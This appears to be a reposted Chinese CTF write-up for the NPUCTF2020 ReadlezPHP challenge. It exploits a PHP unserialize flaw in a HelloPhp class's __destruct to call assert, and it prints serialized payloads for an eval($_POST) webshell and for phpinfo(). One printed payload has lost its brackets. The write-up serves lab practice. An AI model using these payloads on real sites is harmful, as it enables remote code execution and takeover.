欢迎关注我的公众号《壳中之魂》
题目环境:https://buuoj.cn/challenges#NPUCTF2020ReadlezPHP
难度:简单
首先拿到题目链接,目录爆破并没有什么特殊的,进行代码审计
可以看到time.php?source这个文件,访问一下
直接给出了源码,题目和源码中就可以看出是反序列化漏洞,但是这个反序列化漏洞并不算难,我这样的菜鸡也是一看就懂
这段代码中可以利用的就是 __destruct魔法方法,这里面有一个 echo $b($a);,可以作为变量函数,举一个变量函数的例子
<?php
$a = "assert";
$b = "eval('echo whoami;')";
@$a($b);
?>
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
举上面的例子是和题目有关,assert是php之中的断言,如果传入的是字符串则会把它作为php代码执行,但为什么不直接用eval呢,是因为不能以变量函数的形式调用eval
参考文章:PHP: 不能以变量函数的形式调用eval:Undefined function eval() - 陪她去流浪 (twofei.com)
eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型)。这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,...
但可惜的是靶机似乎回显不了,所以就放弃使用系统命令了,所以直接传一句话木马
<?php
class HelloPhp
{
public $a = 'eval($_POST[hack]);';
public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
?>
O:8:"HelloPhp":2:{s:1:"a";s:19:"eval($_POSThack);";s:1:"b";s:6:"assert";}
但是蚁剑连过去什么都没有啊,估计是权限不够,如果是这种情况只能猜测flag会显示在phpinfo
<?php
class HelloPhp
{
public $a = 'eval(phpinfo());';
public $b = "assert";
}
$c = new HelloPhp;
echo serialize($c);
?>
最终payload:O:8:"HelloPhp":2:{s:1:"a";s:16:"eval(phpinfo());";s:1:"b";s:6:"assert";}
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。